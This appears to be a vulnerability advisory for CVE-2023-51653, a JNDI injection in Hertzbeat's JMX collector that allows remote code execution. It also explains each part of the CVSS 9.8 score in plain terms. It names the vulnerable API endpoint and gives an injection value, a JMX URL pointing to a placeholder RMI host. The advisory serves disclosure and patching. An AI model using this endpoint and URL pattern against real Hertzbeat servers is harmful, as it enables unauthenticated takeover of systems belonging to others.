CVE-2023-51653 | Hertzbeat JMX JNDI RCE

Exp

Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.

9.8 3.1 CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
